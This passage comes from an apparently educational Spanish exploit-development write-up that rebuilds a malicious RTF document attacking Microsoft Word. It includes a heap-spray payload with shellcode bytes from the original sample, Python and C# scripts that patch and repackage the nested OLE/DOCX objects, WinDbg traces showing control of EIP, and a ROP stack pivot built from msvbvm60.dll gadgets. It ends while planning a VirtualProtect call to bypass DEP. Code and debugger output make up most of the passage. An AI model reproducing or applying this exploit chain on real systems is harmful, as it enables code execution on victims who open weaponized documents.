  37. <Relationship Id=“rId19” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX15.xml”/>
  38. <Relationship Id=“rId31” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX27.xml”/>
  39. <Relationship Id=“rId44” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX40.xml”/>
  40. <Relationship Id=“rId4” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/image” Target=“media/image1.wmf”/>
  41. <Relationship Id=“rId9” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX5.xml”/>
  42. <Relationship Id=“rId14” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX10.xml”/>
  43. <Relationship Id=“rId22” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX18.xml”/>
  44. <Relationship Id=“rId27” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX23.xml”/>
  45. <Relationship Id=“rId30” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX26.xml”/>
  46. <Relationship Id=“rId35” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX31.xml”/>
  47. <Relationship Id=“rId43” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX39.xml”/>
  48. </Relationships>

Observamos que la gran mayoría apunta a los controles activeX. Estos documentos son todos idénticos y contienen:

  1. <ax:ocx xmlns:ax=“https://schemas.microsoft.com/office/2006/activeX” xmlns:r=“https://schemas.openxmlformats.org/officeDocument/2006/relationships” ax:classid=“{00000000-0000-0000-0000-000000000001}” ax:persistence=“persistStorage” r:id=“rId1”/>

Podemos encontrar las relaciones en la carpeta word/activeX/_rels. De nuevo, son todas idénticas y contienen:

  1. <?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>
  2. <Relationships xmlns=“https://schemas.openxmlformats.org/package/2006/relationships”>
  3. <Relationship Id=“rId1” Type=“https://schemas.microsoft.com/office/2006/relationships/activeXControlBinary” Target=“activeX1.bin”/>
  4. </Relationships>

Por lo que el objeto incrustado repetidas veces se encuentra en word/activeX/activeX1.bin.

  1. $ file word/activeX/activeX1.bin
  2. word/activeX/activeX1.bin: Composite Document File V2 Document, Cannot read section info

De nuevo es un objeto CDF. El contenido de este objeto será cargado repetidas veces, efectivamente creando un spray en el heap, de modo que podamos tener datos controlados en direcciones fijas de memoria.

El contenido real del archivo, una vez saltada la cabecera, comienza en el offset 0x800. Aquí podemos observar que se repite la secuencia cb40 9472 ec83 8808 hasta llegar al offset 0x00000f30, en el que encontramos cb40 9472 d010 9472 seguido de bytes sin ningún patrón, para terminar con 2b0e 9872 repetido hasta el offset 0x00001800. Aquí podemos ver que toda la secuencia anterior se repite hasta el final del archivo.

  1. 0x000007f0 ffff ffff ffff ffff ffff ffff ffff ffff …………….
  2. 0x00000800 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….
  3. 0x00000810 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….
  4. 0x00000820 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….
  5. 0x00000830 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….
  6. []
  7. 0x00000f20 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….
  8. 0x00000f30 cb40 9472 d010 9472 8f08 9572 b0dd 9572 [email protected]…r…r…r
  9. 0x00000f40 908c 8808 0102 0000 4000 0000 45c0 a472 ……[email protected]…E..r
  10. 0x00000f50 892d 8888 8808 9b9b 33c9 648b 7130 8b76 .-……3.d.q0.v
  11. 0x00000f60 0c8b 761c 8b46 088b 7e20 8b36 813f 6b00 ..v..F..~ .6.?k.
  12. 0x00000f70 6500 75f0 8bf0 eb57 608b de56 8b73 3c8b e.u….W`..V.s<.
  13. 0x00000f80 741e 7803 f356 8b76 2003 f333 c949 41ad t.x..V.v ..3.IA.
  14. 0x00000f90 03c3 5633 f60f be10 3af2 7408 c1ce 0703 ..V3….:.t…..
  15. 0x00000fa0 f240 ebf1 3975 005e 75e4 5a8b fb8b 5a24 [email protected]^u.Z…Z$
  16. []
  17. 0x000010a0 8bc7 b900 0000 008b 1681 f233 33ad bc89 ………..33
  18. 0x000010b0 1783 c101 81f9 5001 0000 7408 83c6 0483 ……P…t…..
  19. 0x000010c0 c704 ebe3 ffe0 cccc 2b0e 9872 2b0e 9872 ……..+..r+..r
  20. 0x000010d0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r
  21. 0x000010e0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r
  22. 0x000010f0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r
  23. []
  24. 0x000017d0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r
  25. 0x000017e0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r
  26. 0x000017f0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r
  27. 0x00001800 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….
  28. 0x00001810 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….
  29. 0x00001820 cb40 9472 ec83 8808 cb40 9472 ec83 8808 [email protected][email protected]….

Veamos la eficacia del spray. Para ello, cargamos el archivo en Word y de nuevo attacheamos con WinDbg. Continuamos la ejecución hasta el crash, y buscamos en toda la memoria del proceso alguna marca o tag que conozcamos dentro de contenido que se ha sprayeado. Por ejemplo, cb409472d0109472.

  1. 0:000> .logopen C:\users\user\desktop\h1.txt
  2. Opened log file ‘C:\users\user\desktop\h1.txt’
  3. 0:000> s 0 L?+80000000 cb 40 94 72 d0 10 94 72
  4. []
  5. 0:000> .logclose
  6. Closing open log file C:\users\user\desktop\h1.txt

En el archivo de log podemos ver que se ha comenzado a encontrar el tag en 0x02e80f50, y la última ocurrencia la podemos ver en 0x12eaff50. Puesto que hemos escogido un tag que no se encuentra al principio del contenido spameado, para obtener las direcciones en las que encontraremos nuestro buffer hemos de restarle su posición:

  1. 0x00000f30 cb40 9472 d010 9472

0xf30 – 0x800 = 0x730
0x02e80f50 – 0x730 = 0x2E80820

  1. 0:000> dd 0x2E80820
  2. 02e80820 729440cb 088883ec 729440cb 088883ec
  3. 02e80830 729440cb 088883ec 729440cb 088883ec
  4. 02e80840 729440cb 088883ec 729440cb 088883ec
  5. 02e80850 729440cb 088883ec 729440cb 088883ec
  6. 02e80860 729440cb 088883ec 729440cb 088883ec
  7. 02e80870 729440cb 088883ec 729440cb 088883ec
  8. 02e80880 729440cb 088883ec 729440cb 088883ec
  9. 02e80890 729440cb 088883ec 729440cb 088883ec
  10. 0:000> dd 0x2E80820+0x1000
  11. 02e81820 729440cb 088883ec 729440cb 088883ec
  12. 02e81830 729440cb 088883ec 729440cb 088883ec
  13. 02e81840 729440cb 088883ec 729440cb 088883ec
  14. 02e81850 729440cb 088883ec 729440cb 088883ec
  15. 02e81860 729440cb 088883ec 729440cb 088883ec
  16. 02e81870 729440cb 088883ec 729440cb 088883ec
  17. 02e81880 729440cb 088883ec 729440cb 088883ec
  18. 02e81890 729440cb 088883ec 729440cb 088883ec
  19. 0:000> dd 0x2E80820+0x1000+0x1000
  20. 02e82820 729440cb 088883ec 729440cb 088883ec
  21. 02e82830 729440cb 088883ec 729440cb 088883ec
  22. 02e82840 729440cb 088883ec 729440cb 088883ec
  23. 02e82850 729440cb 088883ec 729440cb 088883ec
  24. 02e82860 729440cb 088883ec 729440cb 088883ec
  25. 02e82870 729440cb 088883ec 729440cb 088883ec
  26. 02e82880 729440cb 088883ec 729440cb 088883ec
  27. 02e82890 729440cb 088883ec 729440cb 088883ec
  28. 0:000> dd 0x2E80820+0x1000+0x10004
  29. 02e8281c 72980e2b 729440cb 088883ec 729440cb
  30. 02e8282c 088883ec 729440cb 088883ec 729440cb
  31. 02e8283c 088883ec 729440cb 088883ec 729440cb
  32. 02e8284c 088883ec 729440cb 088883ec 729440cb
  33. 02e8285c 088883ec 729440cb 088883ec 729440cb
  34. 02e8286c 088883ec 729440cb 088883ec 729440cb
  35. 02e8287c 088883ec 729440cb 088883ec 729440cb
  36. 02e8288c 088883ec 729440cb 088883ec 729440cb

Podemos ver que cada 0x1000 bytes a partir de la posición inicial en la que encontramos el spray nos encontramos el contenido de activex1.bin.

Ya contamos con lo necesario para poder llegar a controlar EIP. Sólo nos falta poder modificar los archivos de manera fácil.

0x04 – Creación de la matryoska

Tenemos que gestionar la siguiente estructura para modificar los archivos que necesitamos:

  1. RTF
  2. CDF/OLE Objeto embebido en RTF
  3. DOCX/ZIP Archivo dentro del contenedor CDF
  4. XML -> document.xml Archivo que queremos modificar
  5. CDF/OLE Objeto embebido en RTF
  6. DOCX/ZIP Archivo dentro del contenedor CDF
  7. CDF/OLE -> activex1.bin Archivo que queremos modificar

Nuestro objetivo es:

  1. Modificar el contenido de activex1.bin con nuestro payload
  2. Modificar document.xml con la dirección a la que queremos que Word acceda
  3. Generar dos nuevos ZIPs/DOCX que contengan los dos archivos modificados en los dos pasos anteriores
  4. Generar dos nuevos objetos CDF que contengan los dos ZIPs/DOCX generados en el paso anterior
  5. Reemplazar los objetos CDF del RTF original por los dos generados en el paso anterior

Modificación de activex1.bin

Para hacer una prueba preliminar sobreescribiremos el primer dword de cada trozo repetido del archivo (en la posición 0x800 + N * 0x1000) por 0x41424344

  1. $ cat tag_bin.py
  2. import sys
  3. if __name__ == ‘__main__’:
  4. in_filepath = sys.argv[1]
  5. out_filepath = sys.argv[2]
  6. f = open(in_filepath, “rb”)
  7. original = bytearray(f.read())
  8. f.close()
  9. begin = 0x800
  10. offset = 0x1000
  11. p = begin
  12. while p < len(original)4:
  13. original[p] = 0x44
  14. original[p+1] = 0x43
  15. original[p+2] = 0x42
  16. original[p+3] = 0x41
  17. p += offset
  18. f = open(out_filepath, “wb”)
  19. f.write(original)
  20. f.close()
  21. $ python tag_bin.py 00039807.doc/word/activeX/activeX1.bin test.bin
  22. $ mv test.bin 00039807.doc/word/activeX/activeX1.bin

Modificación de document.xml

Queremos sustituir la dirección que utilizaron los autores del exploit por una dirección válida en nuestro entorno:

  1. $ cat replace_offset.py
  2. import struct
  3. import sys
  4. def dword_to_crap(v):
  5. # unicode -> utf8
  6. return struct.pack(“<I”, v).decode(“utf-16le”).encode(“utf-8”).encode(“hex”) def crap_to_dword(v): # utf8 -> unicode
  7. return unicode(v.decode(“utf-8”)).encode(“utf-16le”)
  8. if __name__ == ‘__main__’:
  9. whatb = sys.argv[1]
  10. withb = sys.argv[2]
  11. fpath = sys.argv[3]
  12. fdest = sys.argv[4]
  13. withv = dword_to_crap(int(withb, 16))
  14. #print ‘ -> %s’ % crap_to_dword(whatb.decode(“hex”)).encode(“hex”)
  15. print ‘Replacing raw utf8 “%s” with %s -> %s’ % (whatb, withb, withv)
  16. f = open(fpath, “rb”)
  17. b = f.read()
  18. f.close()
  19. c = b.replace(whatb.decode(“hex”), withv.decode(“hex”))
  20. f = open(fdest, “wb”)
  21. f.write(c)
  22. f.close()
  23. $ python2 replace_offset.py e8a3ace0a288 0x0f8f4820 000538E9.doc/word/document.xml document.xml
  24. Replacing raw utf8 “e8a3ace0a288” with 0x0f8f4820 -> e4a0a0e0be8f
  25. $ mv document.xml 000538E9.doc/word/document.xml

Creación de los dos ZIPs/DOCX

  1. $ cd 00039807.doc
  2. $ zip -D -q –9 -r spray.doc .
  3. $ cd ../000538E9.doc
  4. $ zip -D -q –9 -r trigger.doc .

Creación de los dos CDFs

Necesitamos una librería que nos permita modificar el contenido de estos archivos. En python existe la librería olefile, pero la implementación de las rutinas para modificar archivos no es completa.

Finalmente, se optó por la librería openmcdf para C#. Con ella simplemente tenemos que escribir una pequeña utilidad que nos permita modificar archivos:

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using OpenMcdf;
  7. namespace cdfreplace
  8. {
  9. class Program
  10. {
  11. static void Main(string[] args)
  12. {
  13. string sourcefile = args[0];
  14. string targetstream = args[1];
  15. string replfile = args[2];
  16. string outfile = args[3];
  17. byte[] replbytes = System.IO.File.ReadAllBytes(replfile);
  18. System.IO.File.Copy(sourcefile, outfile);
  19. OpenMcdf.CompoundFile cf = new OpenMcdf.CompoundFile(
  20. outfile,
  21. OpenMcdf.CFSUpdateMode.Update,
  22. OpenMcdf.CFSConfiguration.Default | OpenMcdf.CFSConfiguration.EraseFreeSectors | OpenMcdf.CFSConfiguration.SectorRecycle
  23. );
  24. OpenMcdf.CFStream st = cf.RootStorage.GetStream(targetstream);
  25. st.SetData(replbytes);
  26. cf.Commit();
  27. }
  28. }
  29. }

Renombraremos los CDFs originales extraídos con rtfobj para mayor comprensibilidad:

– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -> original_spray.cdf

– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -> original_trigger.cdf

Compilamos con Visual Studio el código anterior, habiendo instalado previamente el paquete OpenMcdf. Lo ejecutamos de la siguiente forma:

  1. $ mono cdfreplace.exe original_spray.cdf Package 00039807.doc/spray.doc spray.cdf
  2. $ mono cdfreplace.exe original_trigger.cdf Package 000538E9.doc/trigger.doc trigger.doc

Con esto hemos obtenido los dos objetos a reemplazar en el RTF original.

Modificación del RTF

Mediante la pequeña herramienta que se creó, reemplazamos los objetos 1 y 2 por los que acabamos de generar.

  1. $ python2 rtf.py –input original.rtf –output tmp.rtf –replace 1 –withfile spray.cdf
  2. $ python2 rtf.py –input tmp.rtf –output final.rtf –replace 2 –withfile trigger.cdf

PoK (Proof of Kaboom)

Copiamos el archivo test.rtf a nuestra VM aislada y lo lanzamos bajo WinDbg:

  1. (de8.944): Unknown exception – code e0000002 (first chance)
  2. (de8.944): Access violation – code c0000005 (first chance)
  3. First chance exceptions are reported before any exception handling.
  4. This exception may be expected and handled.
  5. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll –
  6. eax=0f8f4820 ebx=00000000 ecx=41424344 edx=00000004 esi=0a8b3f20 edi=0aa27604
  7. eip=702882a6 esp=003349b8 ebp=00334a28 iopl=0 nv up ei pl nz na po nc
  8. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
  9. wwlib!DllGetLCID+0x2e1e1c:
  10. 702882a6 ff5104 call dword ptr [ecx+4] ds:002b:41424348=????????
  11. 0:000> ub;u
  12. wwlib!DllGetLCID+0x2e1e05:
  13. 7028828f 85c9 test ecx,ecx
  14. 70288291 0f84c768e9ff je wwlib!DllGetLCID+0x1786d4 (7011eb5e)
  15. 70288297 8b4744 mov eax,dword ptr [edi+44h]
  16. 7028829a 894844 mov dword ptr [eax+44h],ecx
  17. 7028829d 8b4744 mov eax,dword ptr [edi+44h]
  18. 702882a0 8b4044 mov eax,dword ptr [eax+44h]
  19. 702882a3 8b08 mov ecx,dword ptr [eax]
  20. 702882a5 50 push eax
  21. wwlib!DllGetLCID+0x2e1e1c:
  22. 702882a6 ff5104 call dword ptr [ecx+4]
  23. 702882a9 e9b068e9ff jmp wwlib!DllGetLCID+0x1786d4 (7011eb5e)
  24. 702882ae 83f802 cmp eax,2
  25. 702882b1 750f jne wwlib!DllGetLCID+0x2e1e38 (702882c2)
  26. 702882b3 8d4624 lea eax,[esi+24h]
  27. 702882b6 50 push eax
  28. 702882b7 52 push edx
  29. 702882b8 e893171c00 call wwlib!DllGetLCID+0x4a35c6 (70449a50)

Podemos ver en EAX el valor 0x0f8f4820 y en ECX el valor 0x41424344. Nos encontramos en una instrucción que llamará a lo que haya en la dirección 0x0f8f4820+4. Ya sólo nos queda modificar el payload para obtener EIP.

0x05 – Creación de nuestro payload

Recordemos el layout que hemos de lograr en memoria para controlar EIP:

  1. Dirección Valor
  2. X X
  3. X + 4 EIP objetivo

Luego, si continuamos usando la dirección 0x0f8f4820, lo que debemos colocar al principio del payload es

  1. [
  2. 0x0f8f4820,
  3. EIP
  4. ]

Para conseguir:

  1. Dirección Valor
  2. 0x0f8f4820 0x0f8f4820
  3. 0x0f8f4824 EIP objetivo

¿Cómo podemos convertir esto en ejecución de código? Lo que tenemos es un salto a una dirección controlada. Tenemos DEP activado, por lo que no podemos saltar directamente a una posición en el heap en la que colocaríamos una shellcode.

En lugar de eso, debemos utilizar ROP. Para ello necesitamos que ESP apunte a algún lugar de memoria en el que podamos colocar las direcciones de nuestros gadgets. El lugar de memoria en el que podemos tener valores controlados en direcciones conocidas es el mismo heap que estamos sprayeando, por lo que debemos hacer un stack pivot.

Nuestro objetivo, por tanto, es hacer que EIP apunte a una secuencia de instrucciones que hagan que ESP apunte a algún lugar del heap que controlamos, posiblemente a continuación de las dos direcciones que hemos colocado hasta ahora.

Como comentamos al principio del post, el único módulo que no cuenta con ASLR es msvbvm60.dll. Obtengamos los gadgets disponibles en esta librería:

  1. $ sha256sum libs/msvbvm60.dll
  2. 2246b4feae199408ea66d4a90c1589026f4a5800ce5a28e583b94506a8a73dce libs/msvbvm60.dll
  3. $ ROPgadget –binary libs/msvbvm60.dll > gadgets.txt

Este es el entorno en el que nos movemos:

  • EAX = la dirección de nuestro payload
  • ECX = la dirección de nuestro payload
  • Cima del stack: la dirección de nuestro payload (una vez que se ejecute el call, tendremos antes la dirección de retorno)

Queremos:

  • ESP = dirección de nuestro payload + algún offset dentro del payload que nos deje hueco para los suficientes gadgets. Por tanto, no nos basta con poder copiar EAX o ECX a ESP, necesitamos sumarle al menos 8 bytes.
  • Poder conservar una copia del ESP original, para poder reestablecer el flujo de ejecución más adelante

Veamos qué gadgets nos permiten controlar ESP, evitando aquellos que hagan llamadas o saltos (se podrían intentar utilizar, pero habiendolos examinado no había ninguno que permitiese controlar el flujo de manera sencilla).

  1. $ cat gadgets.txt| grep -v call | grep -v jmp | grep -v jb | grep esp | grep xchg
  2. []
  3. 0x7297d562 : je 0x7297d590 ; adc al, ch ; pop ecx ; xchg eax, esp ; add al, byte ptr [eax] ; ret 8
  4. []

Hay varios gadgets que nos permiten cumplir nuestro objetivo. En su momento, escogimos este. Aunque comienza con un salto, nada nos impide evitarlo saltando unos bytes más adelante:

  1. $ r2 libs/msvbvm60.dll
  2. [0x72941af8]> s 0x7297d562
  3. [0x7297d562]> pd
  4. ,=< 0x7297d562 7424 je 0x7297d588
  5. | 0x7297d564 10e8 adc al, ch
  6. | 0x7297d566 59 pop ecx
  7. | 0x7297d567 94 xchg eax, esp
  8. | 0x7297d568 0200 add al, byte [eax]
  9. | 0x7297d56a c20800 ret 8

Por tanto, si saltamos a la dirección 0x7297d564, esto será lo que ocurra, instrucción a instrucción:

  • EAX = 0x0f8f4820
  • ECX = 0x0f8f4820
  • EAX = EAX + 2º byte de menor peso de ECX => EAX = EAX + 0x48 => EAX = 0x0f8f4868
  • ECX = dirección de retorno introducida en la pila por el call
  • ESP = dirección de nuestro payload + 0x48 => ESP = 0x0f8f4868
  • EAX = antigua dirección de la pila
  • EAX = antigua dirección de la pila + [0-0xff]
  • ESP = dirección del inicio de nuestro ROP chain
  • EIP = dirección que escribiremos en la posición 0x48 de nuestro payload (0x0f8f4868 – 0x0f8f4820)

Hay que tener en cuenta que el gadget termina con “ret 8”, por lo que entre el primer y el segundo gadget de la cadena habrá que meter 8 bytes de padding.

A partir de este momento, podemos ejecutar gadgets mediante ROP, colocando sus direcciones en nuestro payload a partir de las dos primeras. Hagamos la prueba, haciendo que Word salte a 0x41414141. Este será el principio del payload:

  1. import struct
  2. import sys
  3. p = lambda x: struct.pack(“<L”, x) heap = 0x0f8f4820 pivot = 0x7297d564 padsize = (heap >> 8) & 0xFF
  4. rop = [
  5. p(heap),
  6. p(pivot),
  7. “a” * (padsize – 8),
  8. p(0x41414141)
  9. ]
  10. payload = bytearray(“”.join(rop))
  11. payload_size = len(payload)
  12. if __name__ == ‘__main__’:
  13. in_filepath = sys.argv[1]
  14. out_filepath = sys.argv[2]
  15. f = open(in_filepath, “rb”)
  16. original = bytearray(f.read())
  17. f.close()
  18. begin = 0x800
  19. offset = 0x1000
  20. p = begin
  21. while p < len(original) – payload_size:
  22. for x in range(payload_size):
  23. original[p + x] = payload[x]
  24. p += offset
  25. f = open(out_filepath, “wb”)
  26. f.write(original)
  27. f.close()

Veamos si vamos por el buen camino. En Windbg, al attachear, ponemos un breakpoint en la dirección del pivote:

  1. (2dc.158): Break instruction exception – code 80000003 (first chance)
  2. eax=7ef88000 ebx=00000000 ecx=00000000 edx=77b3f142 esi=00000000 edi=00000000
  3. eip=77ab000c esp=0da1f8d4 ebp=0da1f900 iopl=0 nv up ei pl zr na pe nc
  4. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
  5. ntdll!DbgBreakPoint:
  6. 77ab000c cc int 3
  7. 0:016> bu 0x7297d564
  8. 0:016> g
  9. (2dc.a70): Unknown exception – code e0000002 (first chance)
  10. Breakpoint 0 hit
  11. eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4
  12. eip=7297d564 esp=00494cb4 ebp=00494d28 iopl=0 nv up ei pl nz na po nc
  13. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  14. msvbvm60!IID_IVbaHost+0xef24:
  15. 7297d564 10e8 adc al,ch
  16. 0:000> p
  17. eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4
  18. eip=7297d566 esp=00494cb4 ebp=00494d28 iopl=0 nv up ei pl nz na po nc
  19. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  20. msvbvm60!IID_IVbaHost+0xef26:
  21. 7297d566 59 pop ecx
  22. 0:000> p
  23. eax=0f8f4868 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
  24. eip=7297d567 esp=00494cb8 ebp=00494d28 iopl=0 nv up ei pl nz na po nc
  25. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  26. msvbvm60!IID_IVbaHost+0xef27:
  27. 7297d567 94 xchg eax,esp
  28. 0:000> p
  29. eax=00494cb8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
  30. eip=7297d568 esp=0f8f4868 ebp=00494d28 iopl=0 nv up ei pl nz na po nc
  31. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
  32. msvbvm60!IID_IVbaHost+0xef28:
  33. 7297d568 0200 add al,byte ptr [eax] ds:002b:00494cb8=20
  34. 0:000> p
  35. eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
  36. eip=7297d56a esp=0f8f4868 ebp=00494d28 iopl=0 nv up ei ng nz na pe nc
  37. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
  38. msvbvm60!IID_IVbaHost+0xef2a:
  39. 7297d56a c20800 ret 8
  40. 0:000> p
  41. eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
  42. eip=41414141 esp=0f8f4874 ebp=00494d28 iopl=0 nv up ei ng nz na pe nc
  43. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
  44. 41414141 ?? ???

Éxito.

El siguiente objetivo es ejecutar una shellcode. Para ello debemos colocarla en una zona de memoria cuya dirección controlemos (es decir, la misma zona del heap donde estamos trabajando) y llamar a la función

  1. VirtualProtect(address, size, PAGE_EXECUTE_READWRITE, &old_protect);

Donde:

  • address: dirección de la shellcode
  • size: tamaño de la zona de memoria que queremos convertir en ejecutable.
  • PAGE_EXECUTE_READWRITE: queremos asignar los permisos de lectura, escritura y ejecución. Su valor es 0x40. Lo ideal sería solo PAGE_EXECUTE_READ, pero estamos usando la misma zona de memoria para la shellcode que para nuestra pila, por lo que es necesario que la página sea escribible.
  • old_protect: dirección donde guardar los flags antiguos de protección.

Necesitamos conocer la dirección de VirtualProtect. Podríamos ubicarla a partir del PEB, pero msvbvm60 nos lo pone más fácil. Veamos sus imports:

  1. $ r2 ibs/msvbvm60.dll
  2. [0x72941af8]> ii~VirtualProtect
  3. ordinal=053 plt=0x729410d0 bind=NONE type=FUNC name=KERNEL32.dll_VirtualProtect
  4. 0:000> dd 0x729410d0
  5. 729410d0 759042ff 75904333 7591e8c5 75925935
  6. 0:000> u 759042ff
  7. kernel32!VirtualProtectStub:
  8. 759042ff 8bff mov edi,edi
  9. 75904301 55 push ebp
  10. 75904302 8bec mov ebp,esp
  11. 75904304 5d pop ebp
  12. 75904305 e9becdffff jmp kernel32!VirtualProtect (759010c8)

Es decir, en la dirección fija de msvbvm60 0x729410d0 tenemos la dirección de VirtualProtect. Si saltamos aquí directamente, tenemos que colocar en la pila los valores de los argumentos, así como la siguiente dirección de retorno, del mismo modo que quedaría si hubiesemos hecho una llamada con call:

  1. Direcciones altas de la pila
  2. —-
  3. old_protect ; push arg_4
  4. PAGE_EXECUTE_READWRITE ; push arg_3
  5. size ; push arg_2
  6. address ; push arg_1
  7. siguiente gadget ; call VirtualProtect
  8. —-
  9. Direcciones bajas de la pila

¿Cómo saltamos a VirtualProtect? Podemos buscar en la lista de gadgets saltos que podamos controlar:

  • A registros, por ejemplo, jmp eax
  • A punteros en registros, por ejemplo, jmp [eax]

El segundo caso nos ahorra tener que hacer la dereferencia en nuestro ROP chain, por tanto:

  1. $ cat gadgets.txt| grep “jmp dword ptr \[“
  2. []
  3. 0x7295088f : jmp dword ptr [eax]
  4. 0x72a3eb27 : jmp dword ptr [ebp – 0x6c]
  5. 0x729907a2 : jmp dword ptr [ebx]
  6. 0x72a429d8 : jmp dword ptr [ecx – 1]
  7. 0x72949a32 : jmp dword ptr [ecx]
  8. 0x729eb1db : jmp dword ptr [edi]
  9. 0x729eb1e0 : jmp dword ptr [edx]
  10. 0x72a21a18 : jmp dword ptr [esi – 0x75]
  11. 0x72a00884 : jmp dword ptr [esi – 0x7d]
  12. 0x7295cb96 : jmp dword ptr [esi]
  13. 0x729eb1ef : jmp dword ptr [esp + esi*2]
  14. []
  15. 0x729914fb : sti ; jmp dword ptr [ecx]
  16. []

Tenemos donde elegir. ¿Qué registros podemos controlar fácilmente?

  1. $ cat gadgets.txt| egrep “: pop (e[abcd]x|e[sd]i) ; ret”
  2. 0x729440cb : pop eax ; ret
  3. 0x72992f5e : pop eax ; ret 0x10
  4. 0x72a06933 : pop eax ; ret 0x14
  5. 0x729c0a9b : pop eax ; ret 0xc
  6. 0x72944175 : pop eax ; ret 4
  7. 0x7298fa2e : pop eax ; ret 8
  8. 0x72941f10 : pop ebx ; ret
  9. 0x72991c70 : pop ebx ; ret 0x10
  10. 0x72999274 : pop ebx ; ret 0x14
  11. 0x72941b4e : pop ebx ; ret 0xc
  12. 0x72943255 : pop ebx ; ret 4
  13. 0x729459e4 : pop ebx ; ret 8
  14. 0x729419f4 : pop ecx ; ret
  15. 0x729e1dfc : pop ecx ; ret 0x14
  16. 0x72954ecc : pop ecx ; ret 0x7297
  17. 0x729e19db : pop ecx ; ret 0xc
  18. 0x729ff08b : pop ecx ; ret 0xfff5
  19. 0x7294a47b : pop ecx ; ret 4
  20. 0x7294464b : pop ecx ; ret 8
  21. 0x7294575b : pop edi ; ret
  22. 0x729d0fc9 : pop edi ; ret 0x10
  23. 0x7294e501 : pop edi ; ret 4
  24. 0x7298c1e4 : pop edi ; ret 8
  25. 0x729a4421 : pop edx ; ret
  26. 0x72941e54 : pop esi ; ret
  27. 0x7294a52f : pop esi ; ret 0x10
  28. 0x72974c79 : pop esi ; ret 0x14
  29. 0x729a32b5 : pop esi ; ret 0x1c
  30. 0x729d831e : pop esi ; ret 0x24
  31. 0x72945a74 : pop esi ; ret 0xc
  32. 0x7294356a : pop esi ; ret 4
  33. 0x72945940 : pop esi ; ret 8

Podemos usar EAX, mismamente. Antes de pisarlo, sería conveniente guardar su valor en algún sitio, ya que es donde tenemos la copia del ESP anterior, pero eso queda como ejercicio.

Nos queda elegir una dirección fija en la que guardar la antigua protección, el 4º parámetro de VirtualProtect. Veamos donde queda la zona de memoria reservada a datos escribibles:

  1. [0x7297d562]> iS
  2. [Sections]
  3. idx=00 vaddr=0x72941000 paddr=0x00001000 sz=1032192 vsz=1032192 perm=m-r-x name=.text
  4. idx=01 vaddr=0x72a3d000 paddr=0x000fd000 sz=53248 vsz=53248 perm=m-r-x name=ENGINE
  5. idx=02 vaddr=0x72a4a000 paddr=0x0010a000 sz=28672 vsz=32768 perm=m-rw- name=.data
  6. idx=03 vaddr=0x72a52000 paddr=0x00111000 sz=200704 vsz=200704 perm=m-r– name=.rsrc
  7. idx=04 vaddr=0x72a83000 paddr=0x00142000 sz=65536 vsz=65536 perm=m-r– name=.reloc
  8. 0:000> dd 0x72a4a000 0x72a4a000+28672
  9. []
  10. 72a4d290 00000000 00000000 00000000 00000000
  11. 72a4d2a0 00000000 00000000 00000000 00000000
  12. 72a4d2b0 00000000 00000000 00000000 00000000
  13. 72a4d2c0 00000000 00000000 00000000 00000000
  14. 72a4d2d0 00000000 00000000 00000000 00000000
  15. 72a4d2e0 00000000 00000000 00000000 00000000
  16. 72a4d2f0 00000000 00000000 00000000 00000000
